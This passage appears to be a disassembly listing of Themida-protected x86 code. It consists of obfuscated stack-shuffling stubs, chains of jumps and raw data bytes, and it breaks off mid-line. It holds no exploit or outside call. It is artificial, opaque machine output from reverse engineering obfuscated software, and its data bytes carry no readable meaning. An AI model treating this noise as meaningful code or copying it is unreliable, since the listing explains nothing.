0D000BCEAh, 8324148Bh, 0D00004C4h, 8B66552Ch, 1FE92414h db 0A0h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54548B: ; CODE XREF: Themida_:0054EA16j add edi, 65121563h not edi add edi, 0FFFFFFFFh and edi, 147D7B8Fh add edi, 33020862h sub eax, edi jmp loc_54F359 ; --------------------------------------------------------------------------- dd 50B9514Fh, 136FBBFh, 82E959CFh, 5A000054h, 888CE9h dd 0BD5500h, 0E9000000h, 1099h ; --------------------------------------------------------------------------- loc_5454CC: ; CODE XREF: Themida_:0054AFF9j add dword ptr [esp], 4 pop esi push edi jmp loc_550BB7 ; --------------------------------------------------------------------------- dw 248Bh dd 0F9F76624h, 429C6866h, 24148966h, 0E99C5066h, 0FFFFF1B7h dd 5C241C87h, 8A3BE9h db 0 ; --------------------------------------------------------------------------- loc_5454F9: ; CODE XREF: Themida_:005453DCj add edi, 4 xchg edi, [esp] mov esp, [esp] mov ebx, ebp jmp loc_544CCD ; --------------------------------------------------------------------------- db 8Fh, 4, 87h dd 0FFFD09E9h, 240433FFh, 0E950515Ch, 84EFh, 7EE9E789h dd 58000040h, 8B24048Fh, 0C1E92424h, 8B000048h, 50532424h dd 0A233E9h, 3ED8000h, 0BDAEE9h db 0 ; --------------------------------------------------------------------------- loc_545541: ; CODE XREF: Themida_:00546A7Ej or eax, eax jz loc_55090B push ebx jmp loc_54C5E9 ; --------------------------------------------------------------------------- db 5Ch dd 56241C89h, 5A1310BEh, 0C8C68172h, 463B3B43h, 0F79DEE81h dd 0F3894707h, 0C3BD555Eh, 8172FB12h, 0B4054C5h, 5DE829ADh dd 50A4E9h, 3E6C100h, 46E9F681h, 0EE812B82h, 0CF4FC67Dh dd 0FFF4BAE9h, 0F111E9FFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_545596: ; CODE XREF: Themida_:00545742j push 0E3Fh jmp loc_5481B8 ; --------------------------------------------------------------------------- aNsA db 'éÚ ',0 ; DATA XREF: Themida_:00544514o align 2 loc_5455A6: ; CODE XREF: Themida_:0054470Dj add esp, 4 xor edx, eax pop eax push 0F64h mov [esp], eax jmp loc_54AD28 ; --------------------------------------------------------------------------- dd 4244488h, 675BE958h, 815C0000h, 1BA5242Ch, 0D4E91453h dd 66FFFFF0h, 88E88850h, 61BDE9F5h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5455DE: ; CODE XREF: Themida_:0054F909j add esp, 4 loc_5455E4: ; CODE XREF: Themida_:005495ECj push edi mov edi, esp push ecx mov ecx, 4 add edi, ecx mov ecx, [esp] jmp loc_54B8D3 ; --------------------------------------------------------------------------- loc_5455F7: ; CODE XREF: Themida_:00547550j neg edx push edi jmp loc_54F63F ; --------------------------------------------------------------------------- db 81h dd 0FD31F3C9h, 0BAF1813Eh, 5387D370h, 0DE89CB89h, 2118E9h dd 0CEE6800h, 2C890000h, 53E58924h, 0A29B951h, 0F1814657h dd 7425B3Ch, 5159CB89h, 372DFB9h, 4695E93Fh, 0C2830000h dd 4EC8302h, 0FF241489h, 0FF042474h, 72E92434h, 89000022h dd 4368E6h, 14890000h, 17F5BA24h, 0EA812A84h, 6EFD5AD7h dd 0F281DAF7h, 447942E6h, 555AD601h, 408CE951h db 2 dup(0) ; --------------------------------------------------------------------------- loc_545676: ; CODE XREF: Themida_:00550E2Bj push edi mov edi, 4324889h mov edx, 346B34B3h xor edx, edi pop edi add edx, 0EE168FDFh add eax, edx pop edx mov ecx, [eax] push dword ptr [esp] pop eax push ebp jmp loc_54B249 ; --------------------------------------------------------------------------- loc_545699: ; CODE XREF: Themida_:0054FD60j pop ebp add dword ptr [esp+4], 6A710F6Dh jmp loc_548662 ; --------------------------------------------------------------------------- db 55h dd 0BE61F2BDh, 0B7FEE951h, 0BE560000h, 7AC17078h, 0D6F7D6F7h dd 20DCE681h, 0DEF77A5Eh, 205CC681h, 0E9537A40h, 442h dd 42474FFh, 0E924348Bh, 9021h, 4C581h, 0C5810000h, 2 dd 553AE9h db 0 ; --------------------------------------------------------------------------- loc_5456ED: ; CODE XREF: Themida_:00550833j mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_54835D ; --------------------------------------------------------------------------- dd 0D3C18149h, 31C5D028h, 0E82959CDh, 5D8015Dh, 235A5BC6h dd 5F758105h, 6BED6824h, 34890000h, 3594E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_545726: ; CODE XREF: Themida_:0054E2EBj mov [esp], eax mov esi, [esp] add esp, 4 jmp loc_54D8EF ; --------------------------------------------------------------------------- loc_545737: ; CODE XREF: Themida_:005493AFj sub eax, edi jmp loc_549C62 ; --------------------------------------------------------------------------- loc_54573E: ; CODE XREF: Themida_:0054D7B4j sub [esp+4], ebx jmp loc_545596 ; --------------------------------------------------------------------------- db 28h dd 0F03058E6h, 31FBE95Ah, 34890000h, 4BE24h, 74010000h dd 5E5E0424h, 4BA5255h, 52000000h, 0EE240481h, 5D5FCB2Eh dd 2EEEED81h, 0AFE95FCBh, 5A000083h, 0AC9CE9h, 5EF33100h dd 336DEB81h, 0D829B0BEh, 0AE68535Bh, 89000050h, 17BE2434h dd 0E93A1F0Dh, 62BBh ; --------------------------------------------------------------------------- loc_5457A0: ; CODE XREF: Themida_:00548F4Dj sub eax, 4 sub esp, 4 mov [esp], eax push dword ptr [esp+4] pop eax pop dword ptr [esp] pop esp mov [esp], edi mov edi, 23C27BBFh sub esp, 4 mov [esp], esi push eax mov eax, 25306BA4h add eax, 22EDC1D4h mov esi, eax pop eax jmp loc_54F6B6 ; --------------------------------------------------------------------------- db 1 dd 59055DE8h, 0E9415A34h, 4F6Fh ; --------------------------------------------------------------------------- loc_5457E8: ; CODE XREF: Themida_:0054C5EAj push esp pop ecx add ecx, 4 jmp loc_54FFA8 ; --------------------------------------------------------------------------- loc_5457F5: ; CODE XREF: Themida_:00547909j push eax push esi mov esi, 5BD51CB4h mov eax, 0B6A6866Eh sub eax, esi jmp loc_54BD66 ; --------------------------------------------------------------------------- loc_545808: ; CODE XREF: Themida_:0054A3CDj sub eax, 1 shr eax, 2 add eax, 77BC460Dh or eax, 5C0274AAh push esi jmp loc_544DC9 ; --------------------------------------------------------------------------- aBI5kzsU db 'Á› 5KZéÓ',0 align 4 dd 0FAE9D7F7h db 79h, 2 dup(0) ; --------------------------------------------------------------------------- loc_545833: ; CODE XREF: Themida_:0054866Ej sub dword ptr [esp+4], 17C76D6Fh pop ecx jmp loc_54B435 ; --------------------------------------------------------------------------- db 88h, 0F1h, 5Ah dd 0E9C0D9F6h, 0E9C1FE05h, 0A363h, 6F6EEA81h, 0B95154A3h dd 5375476Bh, 0E959CA01h, 7C31h, 0C181D1F7h, 7D561973h dd 0A0AE9h, 30E95A00h db 0EEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_545877: ; CODE XREF: Themida_:0054A105j add esi, eax sub esi, 2DCF15E1h mov eax, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp xor esi, [esp] xor [esp], esi jmp loc_548B7D ; --------------------------------------------------------------------------- dd 0BA241489h, 3371D3Ch, 99F2814Ah, 0E969DE5Ch, 47C2h dword_5458B4 dd 81E38953h, 4C3h, 13BA5200h, 423BB021h, 0A2ACE9h ; DATA XREF: Themida_:00544590o db 0 ; --------------------------------------------------------------------------- loc_5458C9: ; CODE XREF: Themida_:0054670Dj mov dh, 74h sub bl, 0C3h jmp loc_5497F6 ; --------------------------------------------------------------------------- loc_5458D3: ; CODE XREF: Themida_:0054C8C2j push edx push ecx mov ecx, esp jmp loc_54A1A0 ; --------------------------------------------------------------------------- loc_5458DC: ; CODE XREF: Themida_:00546F38j push esi mov esi, esp add esi, 4 add esi, 4 push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] jmp loc_54FFBB ; --------------------------------------------------------------------------- loc_5458F6: ; CODE XREF: Themida_:0054E9F0j mov eax, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp jmp loc_54D3A0 ; --------------------------------------------------------------------------- db 0Ch, 5, 0C0h dd 0BB2406E0h, 8003B551h, 0E5D094F5h, 0B252DDF6h, 68E2D0C1h dd 0 dd 8A241428h, 0C4832414h, 36EA8004h, 9265E9h, 81595800h dd 80184E5h, 71C58148h, 0E96FE810h, 0AB04h, 28E95266h dd 66000064h, 9C242CD3h, 0FFED46E9h db 0FFh ; --------------------------------------------------------------------------- loc_545961: ; CODE XREF: Themida_:0054B68Cj and al, bh mov bx, [esp] jmp loc_54A150 ; --------------------------------------------------------------------------- dd 81240C8Bh, 4C4h, 31E95900h, 100009Ch, 0E5D15EF5h, 81DDF745h dd 87C775EDh, 5DEF31E3h, 31A8EF81h, 0C78156D6h, 61DB5619h dd 13EDEA81h, 0EA8157B3h, 52B15977h, 0C281FA01h, 52B15977h dd 13EDC281h, 3C8B57B3h, 4C48324h, 36DEC281h, 0C2015EF8h dd 36DEEA81h, 50565EF8h, 366E0BB8h, 58C6893Dh, 5E8EE9h dd 4C18100h, 83000000h, 148904ECh, 4BA24h, 0E9810000h dd 4B35209Bh, 2DE9D129h, 0C1FFFFFEh, 0C5E903E3h, 88000085h dd 0A4E95908h, 81FFFFECh, 767CFEF3h, 5BDF093Bh, 4038BD55h dd 0ED8119A9h, 0E7032A4Ch, 815DEF01h, 0D87E94C7h, 4EC8159h dd 89000000h, 0E1E92414h, 500000B1h, 8C13E9h, 815B5400h dd 4C3h, 4EC8300h, 0BA241489h, 4, 34FFD301h, 54525A24h dd 4C2815Ah, 0E9000000h, 0AF95h, 97E9F289h db 16h, 2 dup(0) ; --------------------------------------------------------------------------- loc_545A63: ; CODE XREF: Themida_:00548301j ; Themida_:00549F35j push ebx push dword ptr [esp] mov eax, [esp] jmp loc_54D468 ; --------------------------------------------------------------------------- byte_545A6F db 0ACh ; DATA XREF: Themida_:00544540o dd 0CB868h, 241C8900h, 9733E9h, 3240BF00h, 0BD553928h dd 43355AFh, 1382E9h, 0F6D8B700h, 5587E9D7h, 0C6810000h dd 6614C7h, 0BB53DE01h, 6614C7h, 8016E9h db 0 ; --------------------------------------------------------------------------- loc_545AA9: ; CODE XREF: Themida_:005481E4j mov eax, [esp] add esp, 4 jmp loc_5482F5 ; --------------------------------------------------------------------------- dd 0F606E2C0h, 12AEE9DAh, 0E9520000h, 53CAh ; --------------------------------------------------------------------------- loc_545AC4: ; CODE XREF: Themida_:005476CEj and ebx, 6BE5897h jmp loc_54CD8D ; --------------------------------------------------------------------------- loc_545ACF: ; CODE XREF: Themida_:00547D87j sub esi, 0AD00C5h jmp loc_54A3DC ; --------------------------------------------------------------------------- word_545ADA dw 74FFh ; DATA XREF: Themida_:00544634o dd 34FF0424h, 2434FF24h, 5A545258h, 4C281h, 0C2830000h dd 24148704h, 4EC815Ch, 89000000h, 0E0892404h, 5FE0BE56h dd 3FE958AAh, 31000019h, 8E2EE9F8h, 0E4BB0000h, 0E948AD01h dd 1D9Eh, 4C181h, 0C870000h, 2C335C24h, 242C3124h, 8B242C33h dd 4282424h, 6CE99C24h db 0EBh, 2 dup(0FFh) byte_545B3B db 66h ; DATA XREF: Themida_:005443FCo dd 68240C8Bh, 492Ah, 83240489h, 9FE904ECh, 89000010h, 4DE92434h db 0F8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_545B57: ; CODE XREF: Themida_:0054A265j xor esi, 0DE9D545Ch and ecx, esi mov esi, [esp] push edx mov edx, esp add edx, 4 add edx, 4 jmp loc_549B7A ; --------------------------------------------------------------------------- dw 489h dd 55E08924h, 0E6296BBDh, 0BEF5810Fh, 0E914CE3Ah, 30A1h ; --------------------------------------------------------------------------- loc_545B8C: ; CODE XREF: Themida_:00550485j push dword ptr [esp+4] jmp loc_54FF2C ; --------------------------------------------------------------------------- loc_545B95: ; CODE XREF: Themida_:0054681Fj push dword ptr [esp] jmp loc_5474C3 ; --------------------------------------------------------------------------- loc_545B9D: ; CODE XREF: Themida_:0054C589j xchg edx, [esp] mov esp, [esp] shr ecx, 7 jmp loc_548EE1 ; --------------------------------------------------------------------------- aSsi db 'Sé¨\',0 dd 5AD60100h, 4B850h, 0C6010000h, 24348758h, 4EC815Ch dd 89000000h, 1ABE2434h, 812FE416h, 1BE9EAC6h, 8BF301D0h dd 0C4832434h, 25E95004h, 0B9000047h, 723D6056h, 3BE9E1D1h dd 81000057h, 4C7h, 243C8700h, 8F74E95Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_545BFE: ; CODE XREF: Themida_:0055005Ej add esp, 4 push 6025h mov [esp], edx xor dword ptr [esp], 18C869B0h jmp loc_545CFE ; --------------------------------------------------------------------------- dd 0FFEA8AE9h db 0FFh ; --------------------------------------------------------------------------- loc_545C1D: ; CODE XREF: Themida_:0054FD81j pop ecx push esi push esp pop esi add esi, 4 push eax push edx push 29694D9Dh pop edx not edx xor edx, 17DF31A3h jmp loc_54A1D6 ; --------------------------------------------------------------------------- loc_545C3C: ; CODE XREF: Themida_:0055059Dj push edi push eax pop edi mov ebx, edi mov edi, [esp] add esp, 4 push ebx jmp loc_54ACB3 ; --------------------------------------------------------------------------- db 54h, 58h, 81h dd 4ECh, 241C8900h, 1226E9h, 5A586600h, 8904EC83h, 0A0B62414h dd 9FFE9h db 0 ; --------------------------------------------------------------------------- loc_545C6D: ; CODE XREF: Themida_:00546CBCj push 0E9Ah jmp loc_54DA5B ; --------------------------------------------------------------------------- db 83h dd 0E9042404h, 72DEh ; --------------------------------------------------------------------------- loc_545C80: ; CODE XREF: Themida_:0054B8B2j and eax, 23380BA0h add eax, 1 sub esp, 4 jmp loc_549921 ; --------------------------------------------------------------------------- dw 10E9h dd 5FFFFEAh, 4, 22Dh, 24048700h, 489665Ch, 5CC2E924h, 83580000h dd 148704C2h, 70F8E924h, 0CC300000h, 32EC8059h, 45E8E9h db 0 ; --------------------------------------------------------------------------- loc_545CC5: ; CODE XREF: Themida_:00546BE9j add ecx, ebp mov ebp, [esp] add esp, 4 add [edi+24h], ecx pop ecx shr dword ptr [edi+24h], 6 jmp loc_54875A ; --------------------------------------------------------------------------- db 56h, 0FFh, 74h dd 8F5E0424h, 895C2404h, 34FF2404h, 0C4835A24h, 0E9B1E904h db 2 dup(0FFh) word_545CF6 dw 34FFh ; DATA XREF: Themida_:00544640o aSi db '$鈜',0 align 2 loc_545CFE: ; CODE XREF: Themida_:00545C13j pop ebx jmp loc_54F865 ; --------------------------------------------------------------------------- dd 0B35708BDh, 5DEE217Bh, 0E681D6F7h, 7CBC2586h, 42B7C681h dd 44812D61h, 77390424h, 74292022h, 6C810424h, 77390424h dd 0E95E2022h, 5E3Eh, 348BF329h, 4C48324h, 9AB3E952h, 0BF570000h dd 4, 875FF801h, 73E92404h, 0FFFFFFF8h, 1C8B2434h, 4C48124h dd 55000000h, 0A760E9h db 0 ; --------------------------------------------------------------------------- loc_545D65: ; CODE XREF: Themida_:00547BC2j push ecx mov ecx, 1507FFCh jmp loc_54B315 ; --------------------------------------------------------------------------- dd 0DAE9C6FEh, 81000057h, 1B22AAEFh, 51F70160h, 1B22AAB9h dd 59CF0160h, 4BD555Eh, 0E9000000h, 420Ah, 2434FF59h, 83241C8Bh dd 0CFE904C4h, 5E00001Bh, 8347E9h, 8E95000h db 3, 2 dup(0) ; --------------------------------------------------------------------------- loc_545DAF: ; CODE XREF: Themida_:00548B19j mov [esp], eax push ebp push ebx mov ebx, 5C031BB1h inc ebx not ebx shl ebx, 1 neg ebx add ebx, 47F9C8D2h mov ebp, ebx pop ebx jmp loc_544844 ; --------------------------------------------------------------------------- dw 0D601h dd 1C54E9h, 0E9BEB300h, 4A2Eh ; --------------------------------------------------------------------------- loc_545DDC: ; CODE XREF: Themida_:0054F06Aj add esp, 4 and ebx, edx pop edx or ebx, ebx jnz loc_54C325 push eax mov eax, esp push ebx mov ebx, 4 add eax, ebx pop ebx sub eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp mov [esp], ecx mov ecx, esp push 7A1Ch mov [esp], eax jmp loc_54C0CC ; --------------------------------------------------------------------------- dd 42474FFh, 24048F58h, 0E954535Ch, 0AD6h, 24048966h, 58665366h dd 50AE9h db 0 ; --------------------------------------------------------------------------- loc_545E35: ; CODE XREF: Themida_:00550F61j pop esi xor eax, 637BD40Eh shl eax, cl jmp loc_547AD3 ; --------------------------------------------------------------------------- dw 0EF81h dd 0A941D5F0h, 87D6E9h db 0 ; --------------------------------------------------------------------------- loc_545E4D: ; CODE XREF: Themida_:0054AD65j dec ecx not ecx and ecx, 3BF6393Dh inc ecx add ecx, 0ED19C6D5h add ebp, ecx pop ecx xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] movsx cx, al push esi jmp loc_54C98B ; --------------------------------------------------------------------------- dw 0F180h aAsmsli db 'È€áMé«I',0 db 0 byte_545E81 db 0FFh, 34h, 24h ; DATA XREF: Themida_:005444F0o aXstH db 'XST[hÉ',7,0 dd 240C8900h, 4B9h, 0DCEB8100h, 811A3D1Bh, 0AA5E49EBh dd 81CB010Fh, 0AA5E49C3h, 0DCC3810Fh, 8B1A3D1Bh, 1AE9240Ch dd 31FFFFF3h, 4332404h, 8B665C24h, 0ACE9240Ch, 0FFFFF3h dd 0B3535BF8h, 5EC380F5h, 0E96DC380h, 269Ch dword_545ED8 dd 0E924248Bh, 1EC7h, 8107E2C1h, 0F8753BEAh, 0CEEA8137h ; DATA XREF: Themida_:00544568o dd 81080D1Dh, 0EF4977CAh, 0F2814A54h, 24352DCBh, 2404FF52h dd 3AF2815Ah, 153DA50h, 56525AD6h, 4B3DE9h, 0D8295900h dd 2E93BD55h, 3705321Dh, 2975F043h, 43372DE8h, 55D75F0h dd 372F65AFh, 0F186E951h, 815EFFFFh, 65380BC7h, 0FFF801C8h dd 0E95F2434h, 87FDh ; --------------------------------------------------------------------------- loc_545F44: ; CODE XREF: Themida_:00544C0Dj and ecx, ebp jmp loc_54F204 ; --------------------------------------------------------------------------- loc_545F4B: ; CODE XREF: Themida_:0054A94Fj push ecx jmp loc_546AF4 ; --------------------------------------------------------------------------- db 4, 0B9h, 66h dd 4EC8151h, 89000000h, 2B62414h, 29B5E9h db 0 ; --------------------------------------------------------------------------- loc_545F65: ; CODE XREF: Themida_:0054873Bj mov ebp, esp add ebp, 4 jmp loc_54BF89 ; --------------------------------------------------------------------------- dw 34FFh aSb db '$éB;',0 align 2 dw 1C87h dd 24248B24h, 24040966h, 0F607E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_545F8A: ; CODE XREF: Themida_:0054A21Bj pop eax jmp loc_548520 ; --------------------------------------------------------------------------- aM0Qrsco db '¬0ØQRé–®',0 ; DATA XREF: Themida_:00544464o align 2 dw 0D48h dd 45063098h, 0F6E95740h, 35FFFFF0h, 0F8A7093Eh, 3358C501h dd 2C31242Ch, 242C3324h, 0F24248Bh, 0EC83C8BEh, 24048904h dd 8F868h, 24248900h, 4240483h, 8124048Bh, 4C4h, 55D3E900h dd 0B8500000h, 5A7662C7h, 5436E40Dh, 0E6354808h, 0F7188E10h dd 71ABE9D8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_545FF6: ; CODE XREF: Themida_:0054AFB2j pop esp mov [esp], edx mov edx, 24h push ecx jmp loc_546B0B ; --------------------------------------------------------------------------- a5s0 db '·<µ5é<0',0 align 2 aYsJ db 'Yé̆',0 align 4 aISh3 db '‰<$éH3',0 align 4 dd 4EC81h, 42E90000h, 89000076h, 5C682414h, 5A4B5276h dd 148BD329h, 83E95024h db 6, 2 dup(0) byte_54603B db 0FFh ; DATA XREF: Themida_:00544478o dd 669D1C77h, 4196658h, 5CE99C24h, 80FFFFE6h, 0C8004DC1h dd 0FFF917E9h db 0FFh ; --------------------------------------------------------------------------- loc_546055: ; CODE XREF: Themida_:0054BB18j xor eax, esi pop esi mov ecx, 0E93940B2h sub ecx, eax pop eax push edi jmp loc_545299 ; --------------------------------------------------------------------------- word_546066 dw 51ADh ; DATA XREF: Themida_:00544570o dd 5A3459B9h, 0A205E941h, 0E8C10000h, 14E3504h, 0C18900A5h dd 0A1EDE958h db 2 dup(0) ; --------------------------------------------------------------------------- loc_546082: ; CODE XREF: Themida_:0054C502j mov esi, esp add esi, 4 add esi, 4 jmp loc_550CEC ; --------------------------------------------------------------------------- dw 10E9h db 0E6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_546097: ; CODE XREF: Themida_:0054F198j pop cx add dl, 99h add bl, dl pop edx sub bl, 1Fh add bl, al jmp loc_54C206 ; --------------------------------------------------------------------------- db 1, 0C5h, 81h aAissXs db 'í©sè`Xé',0 aR_0: unicode 0, <r> dw 0B800h dd 17196549h, 713CE9h, 4B900h, 0CF290000h, 306EE9h, 59E88800h dd 0C8FEC0FEh, 0E034C0FEh, 0C588FF34h, 265FE9h, 24348700h dd 691CE95Ch, 0B9510000h, 2, 0C8BCA29h, 4C48124h, 52000000h dd 42474FFh, 24048F5Ah, 6624248Bh, 66240C89h, 66C8B60Fh dd 90E99C51h db 0E5h, 2 dup(0FFh) byte_546117 db 66h ; DATA XREF: Themida_:00544628o dd 8124048Bh, 4ECh, 24148900h, 0FFED4CE9h, 72E953FFh, 0BA000065h dd 4, 875AD029h, 895C2404h, 29BF243Ch, 81294444h, 0B04897C7h dd 1EF8119h, 0C1000000h, 0EF8106E7h, 0BD232FBCh, 0E95FF801h dd 2519h, 950E281h, 0F2814526h, 5662466Dh, 0E95AD029h dd 0A10Fh, 402C483h, 66D80055h, 2855B353h, 45B66D8h, 0E9EA045Eh dd 0AB87h, 6624248Bh, 0E9240489h, 0FFFFE50Fh ; --------------------------------------------------------------------------- loc_546198: ; CODE XREF: Themida_:005480EBj mov esi, 649F6D04h add ebx, esi push dword ptr [esp] jmp loc_54CA37 ; --------------------------------------------------------------------------- loc_5461A7: ; CODE XREF: Themida_:0054B47Fj add ebp, 0DD24FFDh jmp loc_54747F ; --------------------------------------------------------------------------- dw 0C181h dd 74D98F22h, 0C8BC831h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] mov esp, [esp] jmp loc_54EEA2 ; --------------------------------------------------------------------------- db 9 dd 81455AD5h, 0B9ED38F5h, 5DE901C7h, 8159CD89h, 4E6108C5h dd 0E5C1453Dh, 15CD8105h, 0E921A056h, 0AD98h, 1556700Dh dd 1C4C0500h, 0D5E99941h, 68000049h, 432Ah, 54240C89h dd 83240C8Bh, 0BF5704C4h, 53BA6307h, 4473E9h, 7EE38100h dd 56772B6Dh, 853BE9h, 1C875E00h, 24248B24h, 0F66E9F6h dd 5452CCB6h, 0B850515Ah, 5C3F53ACh, 15CEDDB9h, 58C1011Bh dd 8106E9C1h, 0F22B32E1h, 0F7F18716h, 0C1F187DEh, 0D9F705E9h dd 8003C181h, 0CA0107F9h, 592434FFh, 4C481h, 6FE90000h dd 81FFFFFEh, 0D70CC9E9h, 5B89E93Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_546286: ; CODE XREF: Themida_:00548002j or edx, eax shl edx, 1 xor [edi+24h], ecx push edx jmp loc_549AB0 ; --------------------------------------------------------------------------- db 1 dd 5A042454h, 2E88E9h, 0E9D9F700h, 8461h, 0CA81D2F7h, 160935B8h dd 42A2EA81h, 0D5E96A6Dh db 22h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5462B7: ; CODE XREF: Themida_:005475D7j mov edi, esp add edi, 4 push 1D42h jmp loc_548A28 ; --------------------------------------------------------------------------- db 0E9h, 0D9h, 0E3h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5462CE: ; CODE XREF: Themida_:00547574j add ebp, 3DCE1251h add ebp, ecx sub ebp, 3DCE1251h pop ecx jmp loc_54E831 ; --------------------------------------------------------------------------- dw 8B5Dh dd 54512404h, 0FFF0FCE9h, 19C381FFh, 814B622Ch, 62063FCBh dd 81DBF703h, 669703C3h, 5BDA0177h, 4C281h, 14870000h dd 64E95C24h, 58000014h, 4C481h, 4050000h, 0E9000000h dd 0FFFFEAF6h dword_546324 dd 0E9028F66h, 0FFFFE37Bh, 74E9DA01h, 870000AEh, 8B5C243Ch ; DATA XREF: Themida_:00544610o dd 22E92404h, 66000010h, 6653665Bh, 662414F7h, 0D831665Bh dd 66C33166h, 3FE9D831h, 10000ABh, 348B59C8h, 4C48124h dd 55000000h, 72A93BDh, 40F5E949h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54636E: ; CODE XREF: Themida_:0054B3FBj and eax, ecx pop ecx shr eax, 0Eh xor eax, ecx push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] mov esp, [esp] mov [esp], eax push edi push dword ptr [esp+4] mov edi, [esp] add esp, 4 pop dword ptr [esp] not edi sub esp, 4 mov [esp], edi push dword ptr [esp+4] pop edi jmp loc_54F637 ; --------------------------------------------------------------------------- dw 2959h dd 0D50159CAh, 242C875Ah, 6624248Bh, 9C2424D3h, 0FFE2E2E9h dd 0E3F681FFh, 0E90E0E16h, 0FFFFF964h dword_5463D0 dd 240C8B66h, 3C8B5457h, 4C48324h, 4C781h, 0BA520000h ; DATA XREF: Themida_:0054446Co dd 55D82F35h, 87A4E951h, 0CD310000h, 0E9EB0159h, 6782h dd 79BBEE81h, 50594E54h, 0D8183AB8h, 27123509h, 0CFE940FEh db 5Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_54640F: ; CODE XREF: Themida_:0054B0F8j pop ebp push esi mov esi, 4E573E04h shr esi, 8 sub esi, 26744A27h add esi, 7BEF56B5h add edi, esi jmp loc_5489A5 ; --------------------------------------------------------------------------- dd 0E1E9C801h, 89FFFFEDh, 0E189240Ch, 4C181h, 0E9830000h dd 240C8704h, 6824248Bh, 7FA1h, 7805E9h, 242C8B00h, 201E9h dd 5EF08900h, 5558C201h, 4BE56h, 89510000h, 59CD89F1h dd 6FC2815Eh, 109E45Ah, 6FEA81EAh, 8B09E45Ah, 0C481242Ch dd 4, 0E9241487h, 7491h, 0FFE216E9h db 0FFh ; --------------------------------------------------------------------------- loc_546491: ; CODE XREF: Themida_:00549AD3j pop dword ptr [esp] not ebx xchg ebx, [esp] pop ebx push 3675h mov [esp], ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] jmp loc_54E454 ; --------------------------------------------------------------------------- db 81h dd 3A7D94C1h, 0FBC1811Fh, 1F5F81Bh, 0FA4FE9C8h, 668FFFFh dd 5A7DA974h, 4EC81h, 3C890000h, 6FA2BF24h, 0FA217544h dd 8B92E9h db 0 byte_5464DD db 66h, 0ADh, 66h ; DATA XREF: Themida_:0054464Co dd 66673168h, 66241489h, 6669A1BAh, 0E6E9D029h db 2Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5464F3: ; CODE XREF: Themida_:0054C1F7j sub edi, 5BBE7C25h sub edi, 0E25C98D3h sub ebp, edi pop edi jmp loc_547BA0 ; --------------------------------------------------------------------------- db 58h dd 3291BA52h, 50575EF4h, 4FB3E9h, 78BD5500h, 0F7371872h dd 0C581DDh, 81410877h, 0AC14E6C5h, 0F4F5816Ch, 2141CB3Bh dd 0E2D15DEAh, 0FC8BF57h, 0EF813FE6h, 0D5EB090Fh, 525FFA29h dd 17B4BA52h, 54311498h, 585A0424h, 7402E9h, 433E6800h dd 3BE90000h, 5F00009Ch, 2EFE9h, 89CD2900h, 0D3685DE9h dd 89000013h, 9068243Ch, 8B4C4E31h, 0C483243Ch, 0E9F90104h dd 0FFFFE3BEh, 89240489h, 405E0h, 2680000h, 0E900001Eh dd 0FFFFF308h ; --------------------------------------------------------------------------- loc_546598: ; CODE XREF: Themida_:005467B5j pop esi jmp loc_54D598 ; --------------------------------------------------------------------------- dw 0E989h dd 7EEB815Dh, 81709D6Bh, 207E70EBh, 0F4EB8135h, 1392F71h dd 4CC5E9CBh, 9F680000h, 89000059h, 6866240Ch, 89665A5Fh dd 0B0502414h, 58C68872h, 0F618EE80h, 15F680DEh, 5B13E9h dd 0C8EC8000h, 58E288h, 285A66D7h, 2434FFF8h, 4C4835Bh dd 0B3B55166h, 5966E828h, 2AE95052h db 5Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_5465FF: ; CODE XREF: Themida_:00549471j mov eax, [esp] jmp loc_54D12C ; --------------------------------------------------------------------------- db 56h dd 0BB42EABEh, 5EF2317Bh, 0E904EC83h, 0A537h, 284AEE80h dd 0FBE95AF0h, 5000013h, 4, 405h, 24048700h, 7EC2815Ch dd 0E9761F06h, 2B27h, 4E981h, 0C330000h, 240C3124h, 0E9240C33h dd 4598h, 0E3051DB9h, 0FD94E93Ch, 0C483FFFFh, 2C18304h dd 5C240C87h, 0E9F1F766h, 0B01h, 54F65266h, 5A660124h dd 284FF680h, 8959E9F7h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54667E: ; CODE XREF: Themida_:0054F8A2j pop edx xor ecx, 0E3FDD6AFh add edi, ecx pop ecx xchg edi, [esp] mov esp, [esp] or edx, eax shl edx, 1 push edx push eax push 549867ECh pop eax neg eax xor eax, 0AB679815h mov edx, eax pop eax jmp loc_54DD91 ; --------------------------------------------------------------------------- db 0FFh, 74h, 24h dd 24148B04h, 0E9E78957h, 342Fh ; --------------------------------------------------------------------------- loc_5466B8: ; CODE XREF: Themida_:0054B310j pop esp jmp loc_54A432 ; --------------------------------------------------------------------------- dw 0E089h dd 405h, 681DE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5466CA: ; CODE XREF: Themida_:0054D2A0j push 1C46h jmp loc_5492EA ; --------------------------------------------------------------------------- loc_5466D4: ; CODE XREF: Themida_:0054BED9j mov eax, esi mov edx, eax pop eax mov esi, [esp] push ebx jmp loc_544B9C ; --------------------------------------------------------------------------- loc_5466E2: ; CODE 